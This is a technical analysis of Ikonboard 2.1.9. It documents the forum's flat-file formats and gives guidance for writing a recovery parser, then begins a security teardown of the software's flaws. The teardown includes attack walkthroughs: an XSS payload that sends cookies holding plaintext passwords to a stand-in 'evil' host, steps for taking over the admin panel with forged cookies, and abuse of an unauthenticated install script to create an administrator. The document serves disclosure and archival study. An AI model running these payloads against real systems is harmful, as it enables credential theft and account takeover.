damn=d*amn&hell=h*ll&arse=a*se
```

The editor's textarea is converted with `s/\n/\&/g` before saving (`setbadwords.cgi:70-71`) and
back with `s/\&/\n/g` for display (`:124`). Substitution is applied case-insensitively (`s///ig`)
to post bodies, topic titles, topic descriptions, and -- when `$membernamefilter eq "yes"` -- to
member names and signatures at registration/profile-save time.

**Warning for a parser:** the `bad` side is interpolated straight into a regex, so a badword
containing regex metacharacters is a live pattern, not a literal.

Default fallback when the file is missing (`setbadwords.cgi:118`): `damn=d*amn\nhell=h*ll`.

#### 11.4 `data/onlinedata.dat` -- who's online

**Written by:** `ikon.lib sub whosonline` (`ikon.lib:462-520`), called from nearly every page.
**Read by:** `whosonline.cgi:81-84`.

3 pipe fields, `\n`-terminated, arbitrary order:

| # | Field | Meaning |
|---|---|---|
| 0 | `savedusername` | Member name, or a string beginning `Guest` |
| 1 | `savedtime` | Epoch of last activity |
| 2 | `savedwhere` | **A raw HTML fragment** describing the activity, e.g. `Viewing topic <a href="topic.cgi?forum=4&topic=128"><b>Best FF game ever?</b></a> in <a href="forums.cgi?forum=4"><b>Off Topic</b></a>` |

Rows are expired on write: any row older than `time - 15*60` is dropped (`ikon.lib:469-470`,
`:491`). This file is **pure ephemeral state** and carries no historical value -- but it is a
useful forensic snapshot of who was on the board at the moment the archive was taken.

Note field 2 embeds pipe-free HTML because the caller composes it from already-escaped values;
guest rows carry the literal name `Guest` (`ikon.lib:474`, `whosonline.cgi:101`).

#### 11.5 `data/hacklog.cgi` -- the security log

**Appended by:** `ikon.lib sub checkVALIDITY` (`ikon.lib:16-36`) on any POST whose `Referer`
doesn't contain `$boardurl`, and by `ikon.lib sub systemerror` (`ikon.lib:41-58`).
**Read by:** `checklog.cgi:117+`. **Deleted by:** `checklog.cgi:66-68`.

**Not delimited.** Free-form HTML, appended in blocks:

```
------Log Entry------
<hr><b>Reason for log entry</b> - <error text><br><br><b>Time of log entry</b> - June 5, 2001, 3:14pm<br><br><b>Details Logged</b><br><b>HTTP_HOST</b> = example.com<br><b>HTTP_REFERER</b> = ...<br>...<hr>
```

It dumps the full CGI environment sorted by key, **excluding any variable whose name matches
`/password/i`** (`ikon.lib:31`). Records are delimited by the literal line `------Log Entry------`.
Contains IP addresses, referers, and user agents -- treat as sensitive.

---

### 5.12 `help/` files

Raw HTML fragments, slurped and emitted verbatim. The **file extension is the access control**:

| Pattern | Audience | Read at |
|---|---|---|
| `help/<Topic>.dat` | public | `help.cgi:97` |
| `help/<Topic>.cgi` | moderators/admins only (`membercode` must be `ad` or `mo`) | `help.cgi:202`, gated at `:178` |

The topic name is taken straight from the query string (`?helpon=Post_Markers`) and run through
`stripMETA`; underscores in the filename are rendered as spaces in the heading. Shipped set:

* Public (`.dat`): `Active_Users`, `Announcements`, `Lost_Password`, `Making_a_post`,
  `Messenger`, `Post_Markers`, `Profile`, `Registering`
* Mod-only (`.cgi`): `Deleting_Threads`, `Locking_threads`, `Moderation_mode`, `Moving_Topics`,
  `Postings`, `Unlocking_threads`
* `help/admin/fontsizing.html` -- admin-center help, new in 2.1.9
* `help/index.html` -- a **fake Apache "401 Authorization Required" page**, byte-identical to the
  one `register.cgi:289-305` writes into `members/`. It is a decoy, not a real access control.

Excerpt, `help/Post_Markers.dat` -- documents the cookie-based read-marker model described in section 5.14:

> As a registered member, all new posts made while you're away from the board will be marked on
> your return. You'll have to log in to view them, and they'll remain 'marked' until you finish
> your session on the bulletin board. When you leave the board, all post markers are updated
> ready for your return.

---

### 5.13 `search/` -- transient search result cache

**Directory auto-created 0777** by `search.cgi:106-109` if absent.

**Path:** `search/<key>_sch.txt` where `<key>` is the mangled member name, or for guests
`Guest<REMOTE_ADDR with dots removed>` (`search.cgi:57-65`):

```perl
$filename = $inmembername;
if (!$filename) { $filename = "Guest$ipaddress"; $filename =~ s/\.//g; }
$filename =~ y/ /_/;
$filename = "$filename" . "_sch.txt";
```

**Lifetime: 30 minutes.** Every invocation of `search.cgi` sweeps the directory and unlinks any
file whose mtime is older than `time - 30*60` (`search.cgi:68-75`). Expired results produce
*"Sorry, the search results are only active for thirty minutes"* (`search.cgi:454`).

**Structure -- a 5-line header followed by N result rows.**

Header (`search.cgi:124-129`), one value per line:

| Line | Content | Domain |
|---|---|---|
| 0 | `CUR_TIME` | epoch of search start |
| 1 | `SEARCH_STRING` | raw query |
| 2 | `TYPE_OF_SEARCH` | `keyword_search` \| `username_search` |
| 3 | `REFINE_SEARCH` | `both_search` \| `topictitle_search` \| `post_search` |
| 4 | `FORUMS_TO_SEARCH` | `all` or a forum id |

Result rows, appended in batches as each forum is scanned (`search.cgi:291-295`), 7 pipe fields:

`forumid|topicid|topictitle|topicdescription|forumname|postdate|<match reason>`

where match reason is `Found Word <w>` or `Started by <w>`.

This directory is a **cache with no archival value** -- but its presence in an archive can reveal
what people were searching for, and guest filenames leak IP addresses.

---

### 5.14 Cookies (not on-disk, but part of the model)

Two of these encode state you will see referenced from the data files, so they are documented
here for completeness. All are set with `-path => $cookiepath`.

| Cookie | Value | Expiry | Set at |
|---|---|---|---|
| `amembernamecookie` | member name, **spaces not underscores** | +30d | `post.cgi:85-88`, `register.cgi:257`, `loginout.cgi:109` |
| `apasswordcookie` | **the plaintext password** | +30d | `post.cgi:89-92`, `loginout.cgi:113` |
| `adminname` / `adminpass` | admin credentials, plaintext | session / +1d | `admincenter.cgi:69-72`, `install.cgi:309-315` |
| `lastvisit` | per-forum read markers | +30d | `ikon.lib:441-444` |
| `templastvisit` | session copy of the above | session | `ikon.lib:414-416`, `:446-448` |

**`lastvisit` encoding** (`ikon.lib:409-450`): pairs `<forumid>-<epoch>` joined by `--`, with a
trailing `--`:

```
1-991230000--4-991239000--9-991100000--
```

Parsed by `split(/\--/)` then `split(/\-/)` into `%lastvisitinfo`. **The read-state of the entire
board lives only in the user's browser** -- there is no server-side read tracking. Consequently a
recovered board has no per-user read history at all.

Authentication is: send name + plaintext password in cookies, compare with `eq` against member
field 1 on every request. There is no session table, no token, no hash.

---

### 5.15 Entity relationship overview

```
                        data/boardinfo.cgi   (Perl fragment: global config)
                        data/boardstats.cgi  (Perl fragment: 4 counters, drift-prone)
                        data/styles.cgi      (Perl fragment: presentation + $maxthreads)
                        data/progs.cgi       (Perl fragment: script name map)
                        data/membertitles.cgi(Perl fragment: rank ladder by post count)
                                  |
                                  v
   +----------------------  data/allforums.cgi  ----------------------+
   |  one line per FORUM, 15 fields                                    |
   |  PK  : field 0  forumid          ->  directory forum<forumid>/     |
   |  cat : fields 1,2 (name, place)  ->  categories are DENORMALIZED,  |
   |                                      there is no category file    |
   |  FK-ish: field 5 forummoderator  ->  members/<name>.cgi (CSV names)|
   |  FK-ish: field 10 lastposter     ->  members/<name>.cgi            |
   +-------------------------------------------------------------------+
                                  |  1 : N
                                  v
   forum<N>/<id>.pl                              forum<N>/list.cgi
   +---------------------------+                 +------------------------------+
   | ONE line, 10 fields       |  -- cached -->  | every .pl line, same 10 fields|
   | PK : field 0 topicid      |  rebuildLIST    | sorted by field 9 DESC        |
   | FK : field 6 startedby -->|  (STRING sort!) | *** DERIVED -- no unique data ***
   | FK : field 8 lastposter ->|                 +------------------------------+
   +-----------+---------------+
               | 1 : 1                       forum<N>/<id>.mal
               v                             +--------------------------+
   forum<N>/<id>.thd                         | name|email, 1 line/subscr |
   +------------------------------------+    | FK: field 0 -> member      |
   | one line per POST, 7 fields        |    +--------------------------+
   | ordinal position = post number     |
   | FK  : field 0 membername ----------+-->  members/<MangledName>.cgi
   | DUP : field 1 topictitle (copy)    |     +------------------------------+
   | field 6 = body (escaped HTML +     |     | ONE line, 22 fields           |
   |           IkonCode)                |     | PK : filename stem (mangled)  |
   +------------------------------------+     | field 3 membercode:           |
                                              |    ad | mo | me | banned      |
                                              | field 14 lastpostdate:        |
                                              |    epoch %%% url %%% title ---+-> topic
                                              | field 17 privateforums:       |
                                              |    "id=yes&id=yes&" ----------+-> forums
                                              +-----------+------------------+
                                                          | 1 : 2
                                                          v
                                    messages/<Mangled>_msg.cgi   (inbox)
                                    messages/<Mangled>_out.cgi   (outbox)
                                    +------------------------------------+
                                    | one line per MESSAGE, 5 fields     |
                                    | identity = LINE NUMBER (0-based)   |
                                    | FK: field 0 -> member name          |
                                    | each PM stored TWICE (both parties)|
                                    +------------------------------------+

   data/banlist.cgi  -> name/email-prefix/ip-prefix (matched at registration)
   data/news.cgi     -> announcements, identity = line number
   data/badwords.cgi -> single-line "bad=good&bad=good" substitution map
   data/onlinedata.dat, search/*, data/hacklog.cgi -> ephemeral
```

**Referential integrity: none.** Every "foreign key" is a member *name* stored as text. Renaming
a member is impossible through the UI, and deleting one leaves every post, PM, moderator list and
`lastposter` field pointing at a name with no file. The board handles this at read time via
`set_up_guest` (section 5.2) rather than by cleaning up data -- which is excellent for archival recovery.

**The only true primary keys are filesystem paths:** `forum<N>/` for forums, `<id>.pl`/`<id>.thd`
stems for topics, `members/<name>.cgi` stems for members. Ordinal position within a file is the
key for posts, PMs and announcements.

---

### 5.16 Locking and concurrency

Ikonboard uses advisory `flock` with **numeric** constants (`Fcntl` is never imported):
`flock(FH, 1)` = `LOCK_SH`, `flock(FH, 2)` = `LOCK_EX`.

The centralized helper is `ikon.lib sub openFILE` (`ikon.lib:1071-1097`) with modes
`r` (read + `LOCK_SH`), `wr` / `wrx` (truncate + `LOCK_EX`), `ap` (append + `LOCK_EX`) -- but
**most call sites don't use it** and hand-roll `open` + `flock` instead.

Per-file behavior:

| File | Read lock | Write lock | Notes |
|---|---|---|---|
| `data/allforums.cgi` | `flock 1` at `post.cgi:378`; **`flock 2` at `ikon.lib:96`, `:275`, `:545`, `:1012`, `setmembers.cgi:366`** | `flock 2` | * several *read* paths take an **exclusive** lock on a read-only handle -- a scalability bug, and it means a crashed reader can block writers |
| `forum<N>/list.cgi` | `flock 1` (`topic.cgi:89`, `forums.cgi`, `newposts.cgi:149`) | `flock 2` | rewritten in full on **every topic view** -- the hottest write on the board |
| `forum<N>/<id>.pl` | `flock 1` (`post.cgi:780`, `ikon.lib:1043`) | `flock 2` | |
| `forum<N>/<id>.thd` | mixed: `flock 2` at `post.cgi:570`, `flock 1` at `post.cgi:616`, **no lock** at `post.cgi:753`, `postings.cgi:924` | `flock 2` | |
| `members/<name>.cgi` | **no lock** in `sub getmember` (`ikon.lib:379`); `flock 2` in `getmemberstime` (`ikon.lib:403`) | `flock 2` | |
| `messages/*` | **no lock on read** (`messenger.cgi:184`, `:411`, `:637`) | `flock 2` | |
| `data/boardstats.cgi` | via `require` (no lock) | `flock 2` | |
| `data/banlist.cgi` | none | **none on append** (`setmembers.cgi:392`) | see section 5.11.2 |
| `data/badwords.cgi` | none | **none** (`setbadwords.cgi:75`) | |
| `data/onlinedata.dat` | none | `flock 2` | |
| `data/hacklog.cgi` | -- | **none** (`ikon.lib:24`, `:48`) | append-only |

**The fatal pattern.** Every update is *read-all -> modify-in-memory -> truncate -> write-all*:

```perl
open(FILE, "$filetoopen");  @lines = <FILE>;  close(FILE);   # <- lock released here
... build $processed_data ...
open(FILE, ">$filetomake"); flock(FILE, 2); print FILE $processed_data; close(FILE);
```

The exclusive lock is taken **after** `>` has already truncated the file, and the read
handle was closed before the write handle opened. There is no atomicity between read and write:
two concurrent posters in the same forum will lose one of their updates, and a crash between
truncate and print leaves a **zero-byte file**.

This is exactly the "disappearing threads" failure mode 2.1.9 tried to fix. Its mitigations are
(a) the `$processed_data eq "" || !~ m!\|!` guard before every rewrite (section 6.2), and (b) the new
per-topic `.pl` file, so a wiped `list.cgi` can be rebuilt from the `.pl` files rather than lost.

**Recovery implication:** zero-byte or half-written `list.cgi` / `allforums.cgi` files are an
expected artifact, not evidence of tampering. Rebuild `list.cgi` from `.pl`; rebuild
`allforums.cgi` from the surviving `forum<N>/` directories plus `data/allforums.bak` if present.

---

### 5.17 Notes for anyone writing a recovery parser

**Read order.** Start from the filesystem, not from the index files:

1. Enumerate `forum*/` directories -> that is your authoritative forum list. Cross-reference
   `data/allforums.cgi` for names/categories, but a directory with no `allforums.cgi` row is
   still a real forum full of real posts.
2. Within each, enumerate `*.thd` -> that is your authoritative topic list. `*.pl` gives the
   header; if a `.pl` is missing, reconstruct: `topicid` = filename stem, `startedby`/
   `startedpostdate` = fields 0/5 of `.thd` line 0, `lastposter`/`lastpostdate` = fields 0/5 of
   the final line, `topictitle` = field 1 of line 0, `threadposts` = lines-1, `threadstate` =
   unknown (assume `open`), `threadviews` = unknown.
3. Ignore `list.cgi` entirely except as a source for `threadstate` and `threadviews`, the only
   two fields not derivable from `.thd`.
4. Enumerate `members/*.cgi` -> members. Then sweep every `.thd` field 0 and every `.mal` field 0
   for names with no member file: those are **deleted members** whose posts survive.

**Splitting.** Use `split('|', line, -1)` semantics (keep trailing empty fields) -- Perl's default
`split` drops them, so the *writers* produce records that look short. Always pad to the expected
arity rather than rejecting.

**Arity you must tolerate:**

| File | Expected | Also seen |
|---|---|---|
| `members/*.cgi` | 22 | **16** (installer-created admin, section 8.2) |
| `forum<N>/<id>.pl` | 10 | **11** with a trailing empty (upgrade tool, section 5.4) |
| `forum<N>/list.cgi` | 10 | 10 |
| `data/allforums.cgi` | 15 | 15 |
| `forum<N>/<id>.thd` | 7 | 7 |
| `messages/*` | 5 | 5 |
| `data/banlist.cgi` | 3 | **glued multi-records** (section 5.11.2) |

**Trailing newlines.** `.pl` and `members/*.cgi` are single lines with **no** terminator.
`.thd` normally has **no** terminator on its last line, but gains one after any edit or delete.
Never use "file ends without newline" as a corruption signal.

**Un-escaping -- order matters.** Reverse of `cleaninput`:
`&#0124;`->`|`, `&lt;`->`<`, `&gt;`->`>`, `&quot;`->`"`, `&nbsp;`->space, then **`&amp;`->`&` last**.
Doing `&amp;` first will corrupt any author-typed `&lt;`. Also expand `<br>`->newline and
`<p>`->blank line if you want plain text; in signatures the token is `[br]`, not `<br>`.

**Encoding.** Latin-1 (ISO-8859-1). No BOM, no declaration in the data files. Shipped files are
CRLF; runtime files are LF. Mixed line endings inside one archive are normal.

**The string-sorted-timestamp trap (section 6.1).** If `list.cgi` ordering looks scrambled around
September 2001, the board ran unpatched. Re-sort numerically on field 9 and check for a leading
`0` on 10-character timestamps (an artifact of the local zero-pad fix).

**Counters lie.** `data/boardstats.cgi`, plus `allforums.cgi` fields 12/13, are maintained by
`++`/`--` and are wrong on any board that ever deleted anything. Field 12 (`threads`) is
additionally corrupted by the `$threads = $newthreadnumber` bug (section 5.3). Recompute from the
filesystem.

**Detecting corruption:**
* Zero-byte `list.cgi` / `allforums.cgi` -> the truncate-then-write race (section 5.16). Rebuild.
* A `list.cgi` row whose `topicid` has no matching `<id>.thd` -> topic deleted without a rebuild.
* A line in any pipe file containing an odd field count -> check for a missing `\n` in the writer
  (banlist), or a `|` that escaped `cleaninput` (means the data predates 2.1.x or was edited by
  hand via FTP).
* A `.thd` whose line 0 field 1 differs from the `.pl` field 1 -> the topic title was edited after
  creation (normal; `postings.cgi sub edit_topic_title` does not rewrite `.thd`).
* A member file with a `_` in field 0 -> registered but never posted (section 8.1), not corruption.
* `&brvbar;` anywhere -> data written by pre-2.1 code paths (`ikonadmin.lib:148`).

**Privacy.** A recovered install contains, in the clear: **every member's plaintext password**
(member field 1), their registration IP (field 7), the IP of **every individual post**
(`.thd` field 2), all private messages in duplicate, and a full CGI-environment log in
`data/hacklog.cgi`. Sanitize before publishing. Note that password reuse from 2001 is still a
live risk.

**Things that are simply not recoverable:**
* Per-user read/unread state -- it only ever existed in browser cookies (section 5.14).
* Original whitespace in posts (tabs and CRs are deleted, double spaces become `&nbsp;`).
* Post edit history -- edits overwrite in place; only the `(Edited by ...)` marker survives.
* `threadviews` for topics whose `list.cgi` and `.pl` were both lost.
* Anything in a forum whose directory was deleted -- `setforums.cgi` unlinks every file then
  `rmdir`s, with no backup.

---

### Appendix A -- file inventory quick reference

| Path | Kind | Created by | Delimiter | Fields | Record granularity |
|---|---|---|---|---|---|
| `data/boardinfo.cgi` | Perl fragment | install / admin | n/a | ~28 named vars | whole file |
| `data/boardstats.cgi` | Perl fragment | install / runtime | n/a | 4 named vars | whole file |
| `data/styles.cgi` | Perl fragment | shipped / admin | n/a | 31 named vars | whole file |
| `data/progs.cgi` | Perl fragment | shipped | n/a | 26 named vars | whole file |
| `data/membertitles.cgi` | Perl fragment | shipped / admin | n/a | 17 named vars | whole file |
| `data/template.dat` | raw HTML | shipped / admin | n/a | `$page_title`, `$ikonboard_main` | whole file |
| `data/privacy.dat` | raw HTML | shipped | n/a | `$adminemail_in` token | whole file |
| `data/register.dat` | raw HTML | shipped | n/a | -- | whole file |
| `data/allforums.cgi` | delimited | admin | `\|` | 15 | line = forum |
| `data/news.cgi` | delimited | admin | `\|` | 3 | line = announcement |
| `data/banlist.cgi` | delimited | admin | `\|` | 3 | line = ban (often glued) |
| `data/badwords.cgi` | delimited | admin | `&` then `=` | pairs | **whole file = 1 line** |
| `data/onlinedata.dat` | delimited | runtime | `\|` | 3 | line = active session |
| `data/hacklog.cgi` | free-form HTML | runtime | `------Log Entry------` | -- | block |
| `members/<Name>.cgi` | delimited | register / install | `\|`, `&`+`=` in f17, `%%%` in f14 | 22 (or 16) | **whole file = 1 record** |
| `messages/<Name>_msg.cgi` | delimited | runtime | `\|` | 5 | line = inbox message |
| `messages/<Name>_out.cgi` | delimited | runtime | `\|` | 5 | line = outbox message |
| `forum<N>/<id>.pl` | delimited | runtime | `\|` | 10 (or 11) | **whole file = 1 record** |
| `forum<N>/<id>.thd` | delimited | runtime | `\|` | 7 | line = post |
| `forum<N>/<id>.mal` | delimited | runtime | `\|` | 2 | line = subscriber |
| `forum<N>/list.cgi` | delimited | runtime (derived) | `\|` | 10 | line = topic |
| `forum<N>/.htaccess` | Apache conf | admin | n/a | -- | whole file |
| `search/<key>_sch.txt` | mixed | runtime (30-min TTL) | `\n` header + `\|` rows | 5 header lines + 7 | line |
| `help/<Topic>.dat` | raw HTML | shipped | n/a | -- | whole file |
| `help/<Topic>.cgi` | raw HTML | shipped | n/a | -- | whole file |
| `*.bak` (`allforums.bak`, `list.bak`) | delimited | **never written by 2.1.9** | `\|` | as source | line |

---

*Compiled from static analysis of the Ikonboard 2.1.9 Beta source tree. Every claim above is
traceable to a cited `file:line`. Where the shipped `ikon.lib` (dated 2001-09-08) differs from the
distributed `ikon.lib.bak` (2001-06-03), the difference is noted explicitly (section 6.1) -- the analyzed
copy carries a local, board-operator-applied timestamp-sorting patch that is not part of stock
2.1.9.*

---

## 6. Security Teardown

### Executive summary

Ikonboard 2.1.9 is a flat-file CGI forum whose entire trust model rests on **three plaintext values shuttled between the browser and disk**: a username cookie, a password cookie, and pipe-delimited member records on disk. There is no session layer, no password hashing, no CSRF token, and the "hack log" is the primary security control -- it *records* attacks rather than *blocking* them. The 2.1.8r2 / 2.1.8r2.1 / 2.1.9 change logs show a development team reacting to "a recent slew of kiddie-wannabe hackers" by bolting numeric-input guards onto a few scripts, but the architectural weaknesses were never addressed and could not be without a rewrite (which became iB3).

The single most severe issues are the **plaintext password lifecycle** (stored plaintext, transmitted plaintext in a persistent cookie, re-emailed plaintext on request), the **unauthenticated `install.cgi` admin-creation backdoor**, and **admin authentication built on unsigned, client-supplied `adminname`/`adminpass` cookies**. Path traversal, Perl code injection into `require`d config files, stored/reflected XSS, and universal CSRF round out the picture.

#### Findings by severity

| ID | Title | Severity | CWE |
|----|-------|----------|-----|
| IB219-001 | Passwords stored in plaintext in member flat files | Critical | CWE-256 / CWE-257 |
| IB219-002 | Password used as the session token in a persistent, non-HttpOnly cookie | Critical | CWE-522 / CWE-384 |
| IB219-004 | `install.cgi` creates an administrator with no authentication | Critical | CWE-306 |
| IB219-003 | Admin auth via unsigned client-supplied `adminname`/`adminpass` cookies | High | CWE-565 / CWE-807 |
| IB219-005 | Private-forum access granted by a client-forgeable cookie | High | CWE-639 / CWE-602 |
| IB219-006 | Path traversal -- `stripMETA` is a leaky blocklist (keeps `/`, single-pass `..`, no NUL) | High | CWE-22 / CWE-182 |
| IB219-007 | Two-argument `open()` + poison-NUL / trailing-pipe primitives | High | CWE-59 / CWE-626 |
| IB219-008 | Perl code injection into `require`d config files (`setvariables`/`setstyles`/`settemplate`) | High | CWE-94 |
| IB219-010 | Stored XSS/HTML injection -- `<script>`-only filter; HTML-on forums un-escape output | High | CWE-79 |
| IB219-013 | CSRF everywhere -- `checkVALIDITY` is Referer-only and log-only | High | CWE-352 |
| IB219-016 | Member/data flat files are web-servable (plaintext passwords, emails, IPs) | High | CWE-538 / CWE-540 |
| IB219-009 | Mail header / shell-argument injection in `sendmail` (`blat` pipe, `From`/`To`) | Medium | CWE-93 / CWE-77 |
| IB219-011 | Reflected XSS in `misc.cgi` (`UIN`, `aimname`) | Medium | CWE-79 |
| IB219-012 | IkonCode tag injection -- `[img]`/`[url]`/`[color]`/`[font]` build tags from user input | Medium | CWE-79 / CWE-83 |
| IB219-015 | Hack log records full `%ENV`, including the victim's plaintext password cookie value | Medium | CWE-532 |
| IB219-019 | Weak generated passwords -- unseeded `rand`, `crypt` misused, 7-char truncation | Medium | CWE-330 / CWE-338 |
| IB219-020 | Lost-password feature emails the existing cleartext password | Medium | CWE-522 |
| IB219-021 | TOCTOU / locking defects -- `flock` after truncating `open`, read-then-reopen races | Medium | CWE-367 / CWE-362 |
| IB219-022 | User-controlled regex -- search keywords & bad-word rules compiled as regex (ReDoS/logic) | Medium | CWE-1333 / CWE-625 |
| IB219-023 | Resource exhaustion -- full-directory scans, unbounded flat-file growth, no post-rate cap | Medium | CWE-400 |
| IB219-025 | Weak registration ban/enumeration controls | Medium | CWE-203 / CWE-799 |
| IB219-014 | `CGI::Carp "fatalsToBrowser"` in every script leaks errors/paths | Low | CWE-209 |
| IB219-017 | Admin center / system-error pages disclose Perl version and absolute paths | Low | CWE-200 |
| IB219-018 | `viewip.cgi` exposes registration + post IP (mod-gated, by design) | Info | CWE-359 |

---

### Threat-model note (read before the findings)

In 2001, shared-hosting Perl/CGI forums were the norm and the *ambient* security posture was low: cookies were universally readable by JavaScript (HttpOnly did not ship in Internet Explorer until 2002 and was not widespread for years), TLS was reserved for checkout pages, CSRF had no name or standard defense, and "hash your passwords" was advice honored mostly in the breach across the entire PHP/Perl forum ecosystem (phpBB, YaBB, UBB, Ikonboard all stored recoverable or plaintext credentials in this era). Several items below **would not have been considered bugs by the 2001 developer or user** -- they were the expected behavior of the whole product category. Those cases are flagged explicitly, because the historical contrast is the point of this document. Where a modern control exists specifically because this class of bug hurt people, it is named.

---

### Authentication & session management

#### IB219-001 -- Passwords stored in plaintext in member flat files
**Severity:** Critical * **CWE-256 (Plaintext Storage of a Password) / CWE-257 (Storing Passwords in a Recoverable Format)**

**Location.** Member records live at `members/<name>.cgi`, one pipe-delimited line, password in **field 2**. Parsed in `ikon.lib` `sub getmember`:

```perl
# ikon.lib:383
($membername, $password, $membertitle, $membercode, $numberofposts, $emailaddress,
 $showemail, $ipaddress, $homepage, $aolname, $icqnumber, $location, $interests,
 $joineddate, $lastpostdate, $signature, $timedifference, $privateforums,
 $useravatar, $misc1, $misc2, $misc3) = split(/\|/,$filedata);
```

Written verbatim on registration, profile edit, admin edit, and every post (the member row is rewritten to bump the post count):

```perl
# register.cgi:233
print FILE "$inmembername|$password|$membertitle|$membercode|...";
# profile.cgi:548  (savemodify)
print FILE "$inmembername|$newpassword|$membertitle|...";
# setmembers.cgi:405  (admin edit)
print FILE "$membername|$innewpassword|$inmembertitle|...";
# post.cgi:372 and post.cgi:818  (rewrite on new thread / reply)
print FILE "$inmembername|$password|$membertitle|...";
```

**Mechanism.** No hashing, no salting, no key-derivation. The password is the literal cleartext the user typed. Anyone with read access to `members/` -- a co-tenant on the shared host, a backup thief, an LFI/traversal primitive (see IB219-006/007), or a web-server misconfiguration (IB219-016) -- obtains every credential directly.

**Exploitation walkthrough.** Combine with IB219-016: if the web server serves `members/Admin.cgi` as text (common when `.cgi` is *not* wired to the CGI handler in that subdirectory, or via a `.cgi`->text fallback), `GET /cgi-bin/members/Admin.cgi` returns `Admin|s3cret|Administrator|ad|...`. Field 2 is the admin password; field 4 `ad` is the role. Feed both to `admincenter.cgi?action=login` and you own the board. Even without web read, this is the highest-value target for any traversal/backup-exposure bug on the box, and because users reused passwords in 2001 exactly as they do now, the blast radius extended to victims' email and other accounts.

**2001 lens / modern contrast.** Storing recoverable passwords was standard for flat-file forums of the era; the *design intent* (lost-password emails the password back, IB219-020) actually **required** recoverability, so this was a feature, not perceived as a defect. Modern practice -- one-way hashing with bcrypt/scrypt/argon2 and per-user salts -- exists precisely because this pattern produced a quarter-century of catastrophic forum dumps. This is the root cause that makes IB219-002 and IB219-020 so damaging.

---

#### IB219-002 -- Password is the session token, in a persistent non-HttpOnly cookie
**Severity:** Critical * **CWE-522 (Insufficiently Protected Credentials) / CWE-384 (Session Fixation family -- here, absence of sessions)**

**Location.** On successful login the *plaintext password* is written straight into a client cookie and re-read/re-validated on every subsequent request. `loginout.cgi`:

```perl
# loginout.cgi:95  -- login compares cleartext
if (($userregistered ne "no") && ($inpassword eq $password)) {
    ...
    $namecookie = cookie(-name=>"amembernamecookie", -value=>"$inmembername",
                         -path=>"$cookiepath", -expires=>"+30d");   # loginout.cgi:109
    $passcookie = cookie(-name=>"apasswordcookie", -value=>"$inpassword",
                         -path=>"$cookiepath", -expires=>"+30d");   # loginout.cgi:113
    print header(-cookie=>[$namecookie, $passcookie]);
}
```

Every other script re-hydrates identity from these cookies and re-checks the password against the flat file, e.g.:

```perl
# post.cgi:74
if (! $inmembername) { $inmembername = cookie("amembernamecookie"); }
if (! $inpassword)   { $inpassword   = cookie("apasswordcookie"); }
# ...later, addreply:
elsif ($inpassword ne $password) { &error("adding a post&Wrong Password"); }   # post.cgi:735
```

**Mechanism.** There are **no session identifiers anywhere in the product.** The "session" is literally `(username, password)` stored client-side for 30 days. The cookies carry no `HttpOnly`, no `Secure`, no `SameSite` (none of which the `CGI.pm` `cookie()` call requests, and the first two barely existed). Consequences stack:

- **Any XSS anywhere on the board (IB219-010/011/012) yields the victim's password**, not just a session -- `document.cookie` returns `apasswordcookie=<cleartext>`. Because the password is reused elsewhere, an XSS becomes an account-takeover-plus-credential-theft primitive.
- Cookies are sent over plaintext HTTP by default -> passive network capture yields cleartext credentials on every request for 30 days.
- Logout (`loginout.cgi:159`) only expires the cookie client-side; the credential itself never rotates.

**Exploitation walkthrough.** Post to any HTML-enabled forum (IB219-010) a payload such as `<img src=x onerror="new Image().src='//evil/?c='+document.cookie">`. When a moderator or admin views the thread, their `amembernamecookie` + `apasswordcookie` exfiltrate as cleartext. The attacker replays them to `admincenter.cgi` or simply logs in normally. No CSRF token, IP binding, or session invalidation stands in the way.

**2001 lens / modern contrast.** Cookie-based "remember me" storing credentials was common, but even by 2001 norms putting the *raw password* (vs. a hash or opaque token) in the cookie was sloppy. HttpOnly (IE6 SP1, 2002), Secure-cookie discipline, `SameSite` (2016+), and server-side session stores with rotating IDs are all direct descendants of exactly this failure mode.

---

#### IB219-003 -- Admin authentication via unsigned, client-supplied `adminname`/`adminpass` cookies
**Severity:** High * **CWE-565 (Reliance on Cookies without Validation) / CWE-807 (Reliance on Untrusted Inputs in a Security Decision)**

**Location.** `admincenter.cgi` sets two admin cookies on login and thereafter trusts them:

```perl
# admincenter.cgi:70
if ($action eq "login") {
    print "Set-Cookie: adminname=$inmembername\;"; print "\n";
    print "Set-Cookie: adminpass=$inpassword\;";   print "\n";
}
else {
    $inmembername = cookie('adminname');
    $inpassword   = cookie('adminpass');
}
...
&getmember("$inmembername");
if (($membercode eq "ad") && ($inpassword eq $password) && ($inmembername eq $membername)) { ... }  # admincenter.cgi:87
```

Every `set*.cgi` admin script repeats the pattern, reading the cookies and comparing against the member file:

```perl
# setmembers.cgi:53 / setforums.cgi:42 / setstyles.cgi:63 / setvariables.cgi:64 / settemplate.cgi:56 / setmembertitles.cgi:64 / setbadwords.cgi:55 / checkboard.cgi:50 / checklog.cgi:53
$inmembername = cookie("adminname");
$inpassword   = cookie("adminpass");
```

**Mechanism.** The admin "session" is again just `(name, password)` in cookies, distinct from the front-end cookies but structurally identical. The gate `membercode eq "ad" && inpassword eq $password` is sound *arithmetic* -- you cannot forge admin status without knowing a real admin's plaintext password -- but the credential is carried in a plaintext, JS-readable, unsigned cookie sent over cleartext HTTP. So admin auth inherits every weakness of IB219-002 with a higher-value target. Combined with IB219-001 (the comparison value is plaintext on disk) and IB219-016 (that disk file may be web-readable), the "you must know the password" precondition is frequently satisfiable.

**Exploitation walkthrough.** (1) XSS in the admin's browser (they routinely view member-supplied content) leaks `adminpass`. (2) Or read `members/<admin>.cgi` via IB219-016/006 to get the plaintext, set `adminname`/`adminpass` cookies by hand, and load any `set*.cgi`. Either way the admin panel opens.

**2001 lens / modern contrast.** The developer clearly believed the panel was protected ("Unauthorised attempts to gain entry are logged," `ikonadmin.lib:39`) and that closing the browser clears the temporary cookie (`ikonadmin.lib:41`). By modern standards admin auth needs a server-side session, signed/rotating tokens, TLS, and MFA -- none present.

---

#### IB219-004 -- `install.cgi` creates an administrator with no authentication
**Severity:** Critical * **CWE-306 (Missing Authentication for Critical Function)**

**Location.** `install.cgi` ships in the same directory and, in its `final_step` action, writes a new administrator member file from unauthenticated POST parameters:

```perl
# install.cgi:307
elsif ($action eq "final_step") {
    ...
    $memberfilename = $membername; $memberfilename =~ y/ /_/;
    $filetomake = "$ikondir" . "members/$memberfilename.cgi";
    open (ADMIN, ">$filetomake") or die "...";
    print ADMIN "$membername|$password_one|Administrator|ad|0|$adminemail_in|no|private||||||$currenttime||";  # install.cgi:358
    close (ADMIN);
    ...
    # install.cgi:380 -- overwrites boardstats.cgi too
}
```

